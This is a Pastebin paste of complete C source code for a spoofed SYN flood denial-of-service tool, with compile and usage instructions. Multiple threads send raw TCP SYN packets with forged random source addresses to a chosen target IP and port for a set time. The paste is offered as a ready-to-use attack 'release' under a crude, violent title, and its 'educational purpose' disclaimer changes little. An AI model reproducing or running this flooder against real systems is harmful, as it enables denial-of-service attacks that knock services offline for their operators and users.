Guest User

Spoofed SYN - BitchGotRaped Release

a guest
Feb 4th, 2014
5,570
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.90 KB | None | 0 0
  1. /*
  2. Spoofed SYN by eKKiM
  3. Educational purpose only please.
  4. Compile with
  5. gcc syn.c -pthread
  6. --Note by MFJC--
  7. Compile:
  8. apt-get update
  9. apt-get install gcc
  10. gcc ssyn.c -pthread -o ssyn
  11. Usage: ./ssyn ip port time
  12. */
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <netinet/tcp.h>
  16. #include <netinet/ip.h>
  17. #include <pthread.h>
  18. #include <errno.h>
  19.  
  20. #define THREADS 5
  21.  
  22.  
  23. typedef struct pthread_param
  24. {
  25. int argc;
  26. char **argv;
  27. };
  28.  
  29. typedef struct pseudo_header
  30. {
  31. unsigned int source_address;
  32. unsigned int dest_address;
  33. unsigned char placeholder;
  34. unsigned char protocol;
  35. unsigned short tcp_length;
  36. struct tcphdr tcp;
  37. };
  38.  
  39. /* Thanks for unknown author, this saves me some time */
  40. unsigned short csum(unsigned short *ptr,int nbytes) {
  41. register long sum;
  42. unsigned short oddbyte;
  43. register short answer;
  44.  
  45. sum=0;
  46. while(nbytes>1) {
  47. sum+=*ptr++;
  48. nbytes-=2;
  49. }
  50. if(nbytes==1) {
  51. oddbyte=0;
  52. *((u_char*)&oddbyte)=*(u_char*)ptr;
  53. sum+=oddbyte;
  54. }
  55.  
  56. sum = (sum>>16)+(sum & 0xffff);
  57. sum = sum + (sum>>16);
  58. answer=(short)~sum;
  59.  
  60. return(answer);
  61. }
  62.  
  63. int attack(int argc, char *argv[])
  64. {
  65. int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
  66. char packet[4096];
  67. struct iphdr *iph = (struct iphdr *) packet;
  68. struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof (struct ip));
  69. struct sockaddr_in sin;
  70. struct pseudo_header psh;
  71. char ip[16];
  72.  
  73. sin.sin_family = AF_INET;
  74. sin.sin_port = htons(atoi(argv[2]));
  75. sin.sin_addr.s_addr = inet_addr (argv[1]);
  76.  
  77. sprintf(ip, "%d.%d.%d.%d\n", rand() % 223, rand() % 255, rand() % 255, rand() % 255);
  78.  
  79. memset (packet, 0, 4096);
  80.  
  81. iph->ihl = 5;
  82. iph->version = 4;
  83. iph->tos = 0;
  84. iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
  85. iph->id = htonl (54321);
  86. iph->frag_off = 0;
  87. iph->ttl = 255;
  88. iph->protocol = IPPROTO_TCP;
  89. iph->check = 0;
  90. iph->saddr = inet_addr(ip);
  91. iph->daddr = sin.sin_addr.s_addr;
  92.  
  93. iph->check = csum ((unsigned short *) packet, iph->tot_len >> 1);
  94.  
  95. tcph->source = htons (1234);
  96. tcph->dest = htons (80);
  97. tcph->seq = 0;
  98. tcph->ack_seq = 0;
  99. tcph->doff = 5;
  100. tcph->fin=0;
  101. tcph->syn=1;
  102. tcph->rst=0;
  103. tcph->psh=0;
  104. tcph->ack=0;
  105. tcph->urg=0;
  106. tcph->window = htons (5840);
  107. tcph->check = 0;/* We fill this in later */
  108. tcph->urg_ptr = 0;
  109.  
  110. psh.source_address = inet_addr(ip);
  111. psh.dest_address = sin.sin_addr.s_addr;
  112. psh.placeholder = 0;
  113. psh.protocol = IPPROTO_TCP;
  114. psh.tcp_length = htons(20);
  115.  
  116. memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
  117.  
  118. tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
  119.  
  120. //IP_HDRINCL needed for own headers
  121. int one = 1;
  122. const int *val = &one;
  123. int sockop = setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one));
  124. if (sockop < 0)
  125. {
  126. perror ("[x] Error msg: ");
  127. printf ("[x] Cannot set socket options: %i (are we r00t?)\n", errno);
  128. // exit(-1);
  129. }
  130.  
  131. if (sendto (s, packet, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
  132. printf ("[x] Error sending packet\n");
  133.  
  134. close(s);
  135. return 0;
  136. }
  137.  
  138. void *thread_attack(void *thread_params)
  139. {
  140. struct pthread_param *params = thread_params;
  141.  
  142. while (1)
  143. attack(params->argc, params->argv);
  144. }
  145.  
  146. int main (int argc, char *argv[])
  147. {
  148. int i;
  149. printf("Spoofed SYN Attack\n");
  150.  
  151. srand(time(0));
  152.  
  153. if (argc != 4)
  154. {
  155. printf("Usage: %s <destip> <destport> <time in seconds>\n", argv[0]);
  156. return -1;
  157. }
  158.  
  159. pthread_t ssyn_attack[THREADS];
  160.  
  161. struct pthread_param params;
  162. params.argc = argc;
  163. params.argv = argv;
  164.  
  165. for (i = 0; i < THREADS; i++)
  166. pthread_create( &ssyn_attack[i], NULL, thread_attack, (void*) &params);
  167.  
  168.  
  169. printf("[*] Attacking..\n");
  170. sleep(atoi(argv[3]));
  171.  
  172. return 0;
  173.  
  174. }
Advertisement
Add Comment
Please, Sign In to add comment